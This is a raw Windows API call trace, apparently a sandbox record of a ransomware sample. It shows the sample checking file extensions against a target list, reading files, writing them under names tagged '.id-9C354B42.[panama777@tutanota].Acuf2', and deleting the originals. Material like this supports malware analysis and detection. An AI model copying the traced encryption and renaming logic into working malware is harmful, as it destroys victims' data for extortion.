	[0053.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.151] lstrlenW (lpString=".doc") returned 4
	[0053.151] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.151] lstrlenW (lpString=".docx") returned 5
	[0053.151] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.151] lstrlenW (lpString=".pdf") returned 4
	[0053.151] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.151] lstrlenW (lpString=".xls") returned 4
	[0053.151] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.151] lstrlenW (lpString=".xlsx") returned 5
	[0053.151] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.151] lstrlenW (lpString=".ppt") returned 4
	[0053.151] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.151] lstrlenW (lpString=".zip") returned 4
	[0053.151] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.152] lstrlenW (lpString=".rar") returned 4
	[0053.152] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.152] lstrlenW (lpString=".bz2") returned 4
	[0053.152] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.152] lstrlenW (lpString=".7z") returned 3
	[0053.152] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.152] lstrlenW (lpString=".dbf") returned 4
	[0053.152] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.152] lstrlenW (lpString=".1cd") returned 4
	[0053.152] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.152] lstrlenW (lpString=".jpg") returned 4
	[0053.152] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.152] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0053.152] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0053.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.538] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=19525) returned 1
	[0053.538] CloseHandle (hObject=0x158) returned 1
	[0053.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20
	[0053.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.538] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.538] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.539] GetLastError () returned 0x0
	[0053.539] ReadFile (in: hFile=0x158, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x4c45, lpOverlapped=0x0) returned 1
	[0053.654] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4c50, lpOverlapped=0x0) returned 1
	[0053.656] ReadFile (in: hFile=0x158, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.656] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.656] SetEndOfFile (hFile=0x178) returned 1
	[0053.656] CloseHandle (hObject=0x178) returned 1
	[0053.656] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.656] SetEndOfFile (hFile=0x158) returned 1
	[0053.657] CloseHandle (hObject=0x158) returned 1
	[0053.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.657] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1
	[0053.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.658] lstrlenW (lpString=".doc") returned 4
	[0053.658] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.658] lstrlenW (lpString=".docx") returned 5
	[0053.658] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.658] lstrlenW (lpString=".pdf") returned 4
	[0053.658] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.658] lstrlenW (lpString=".xls") returned 4
	[0053.658] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.658] lstrlenW (lpString=".xlsx") returned 5
	[0053.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.658] lstrlenW (lpString=".ppt") returned 4
	[0053.658] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.658] lstrlenW (lpString=".zip") returned 4
	[0053.658] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.658] lstrlenW (lpString=".rar") returned 4
	[0053.658] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.658] lstrlenW (lpString=".bz2") returned 4
	[0053.658] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.658] lstrlenW (lpString=".7z") returned 3
	[0053.658] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.658] lstrlenW (lpString=".dbf") returned 4
	[0053.658] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.658] lstrlenW (lpString=".1cd") returned 4
	[0053.658] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.658] lstrlenW (lpString=".jpg") returned 4
	[0053.659] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.659] lstrlenW (lpString=".doc") returned 4
	[0053.659] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.659] lstrlenW (lpString=".docx") returned 5
	[0053.659] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.659] lstrlenW (lpString=".pdf") returned 4
	[0053.659] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.659] lstrlenW (lpString=".xls") returned 4
	[0053.659] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.659] lstrlenW (lpString=".xlsx") returned 5
	[0053.659] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.659] lstrlenW (lpString=".ppt") returned 4
	[0053.659] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.659] lstrlenW (lpString=".zip") returned 4
	[0053.659] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.659] lstrlenW (lpString=".rar") returned 4
	[0053.659] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.659] lstrlenW (lpString=".bz2") returned 4
	[0053.659] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.659] lstrlenW (lpString=".7z") returned 3
	[0053.659] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.659] lstrlenW (lpString=".dbf") returned 4
	[0053.659] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.659] lstrlenW (lpString=".1cd") returned 4
	[0053.659] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75
	[0053.660] lstrlenW (lpString=".jpg") returned 4
	[0053.660] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.660] lstrcmpiW (lpString1=".inc", lpString2=".Acuf2") returned 1
	[0053.660] lstrlenW (lpString="adojavas.inc") returned 12
	[0053.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0053.665] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14610) returned 1
	[0053.666] CloseHandle (hObject=0x170) returned 1
	[0053.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20
	[0053.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.667] lstrlenW (lpString=".doc") returned 4
	[0053.667] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.667] lstrlenW (lpString=".docx") returned 5
	[0053.667] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.667] lstrlenW (lpString=".pdf") returned 4
	[0053.667] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.667] lstrlenW (lpString=".xls") returned 4
	[0053.667] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.667] lstrlenW (lpString=".xlsx") returned 5
	[0053.667] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.667] lstrlenW (lpString=".ppt") returned 4
	[0053.667] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.667] lstrlenW (lpString=".zip") returned 4
	[0053.667] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.667] lstrlenW (lpString=".rar") returned 4
	[0053.667] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.667] lstrlenW (lpString=".bz2") returned 4
	[0053.668] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.668] lstrlenW (lpString=".7z") returned 3
	[0053.668] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.668] lstrlenW (lpString=".dbf") returned 4
	[0053.668] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.668] lstrlenW (lpString=".1cd") returned 4
	[0053.668] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.668] lstrlenW (lpString=".jpg") returned 4
	[0053.668] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.668] lstrlenW (lpString=".doc") returned 4
	[0053.668] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.668] lstrlenW (lpString=".docx") returned 5
	[0053.668] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.668] lstrlenW (lpString=".pdf") returned 4
	[0053.668] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.668] lstrlenW (lpString=".xls") returned 4
	[0053.668] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.668] lstrlenW (lpString=".xlsx") returned 5
	[0053.668] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.668] lstrlenW (lpString=".ppt") returned 4
	[0053.668] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.668] lstrlenW (lpString=".zip") returned 4
	[0053.668] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.668] lstrlenW (lpString=".rar") returned 4
	[0053.668] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.668] lstrlenW (lpString=".bz2") returned 4
	[0053.669] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.669] lstrlenW (lpString=".7z") returned 3
	[0053.669] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.669] lstrlenW (lpString=".dbf") returned 4
	[0053.669] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.669] lstrlenW (lpString=".1cd") returned 4
	[0053.669] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0053.669] lstrlenW (lpString=".jpg") returned 4
	[0053.669] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.669] lstrcmpiW (lpString1=".inc", lpString2=".Acuf2") returned 1
	[0053.669] lstrlenW (lpString="adovbs.inc") returned 10
	[0053.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0053.669] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14951) returned 1
	[0053.669] CloseHandle (hObject=0x170) returned 1
	[0053.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20
	[0053.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.670] lstrlenW (lpString=".doc") returned 4
	[0053.670] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.670] lstrlenW (lpString=".docx") returned 5
	[0053.670] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.670] lstrlenW (lpString=".pdf") returned 4
	[0053.670] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.670] lstrlenW (lpString=".xls") returned 4
	[0053.670] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.670] lstrlenW (lpString=".xlsx") returned 5
	[0053.670] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.670] lstrlenW (lpString=".ppt") returned 4
	[0053.670] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.670] lstrlenW (lpString=".zip") returned 4
	[0053.670] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.670] lstrlenW (lpString=".rar") returned 4
	[0053.670] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.670] lstrlenW (lpString=".bz2") returned 4
	[0053.670] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.670] lstrlenW (lpString=".7z") returned 3
	[0053.670] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.670] lstrlenW (lpString=".dbf") returned 4
	[0053.670] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.670] lstrlenW (lpString=".1cd") returned 4
	[0053.671] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.671] lstrlenW (lpString=".jpg") returned 4
	[0053.671] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.671] lstrlenW (lpString=".doc") returned 4
	[0053.671] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.671] lstrlenW (lpString=".docx") returned 5
	[0053.671] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.671] lstrlenW (lpString=".pdf") returned 4
	[0053.671] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.671] lstrlenW (lpString=".xls") returned 4
	[0053.671] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.671] lstrlenW (lpString=".xlsx") returned 5
	[0053.671] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.671] lstrlenW (lpString=".ppt") returned 4
	[0053.671] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.671] lstrlenW (lpString=".zip") returned 4
	[0053.671] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.671] lstrlenW (lpString=".rar") returned 4
	[0053.671] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.671] lstrlenW (lpString=".bz2") returned 4
	[0053.671] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.671] lstrlenW (lpString=".7z") returned 3
	[0053.671] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.671] lstrlenW (lpString=".dbf") returned 4
	[0053.672] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.672] lstrlenW (lpString=".1cd") returned 4
	[0053.672] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0053.672] lstrlenW (lpString=".jpg") returned 4
	[0053.672] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.672] lstrcmpiW (lpString1=".inc", lpString2=".Acuf2") returned 1
	[0053.672] lstrlenW (lpString="adcjavas.inc") returned 12
	[0053.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.680] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=630) returned 1
	[0053.680] CloseHandle (hObject=0x158) returned 1
	[0053.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20
	[0053.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.680] lstrlenW (lpString=".doc") returned 4
	[0053.680] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.680] lstrlenW (lpString=".docx") returned 5
	[0053.680] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.680] lstrlenW (lpString=".pdf") returned 4
	[0053.680] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.680] lstrlenW (lpString=".xls") returned 4
	[0053.680] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.680] lstrlenW (lpString=".xlsx") returned 5
	[0053.681] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.681] lstrlenW (lpString=".ppt") returned 4
	[0053.681] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.681] lstrlenW (lpString=".zip") returned 4
	[0053.681] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.681] lstrlenW (lpString=".rar") returned 4
	[0053.681] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.681] lstrlenW (lpString=".bz2") returned 4
	[0053.681] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.681] lstrlenW (lpString=".7z") returned 3
	[0053.681] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.681] lstrlenW (lpString=".dbf") returned 4
	[0053.681] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.681] lstrlenW (lpString=".1cd") returned 4
	[0053.681] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.681] lstrlenW (lpString=".jpg") returned 4
	[0053.681] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.681] lstrlenW (lpString=".doc") returned 4
	[0053.681] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.681] lstrlenW (lpString=".docx") returned 5
	[0053.681] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
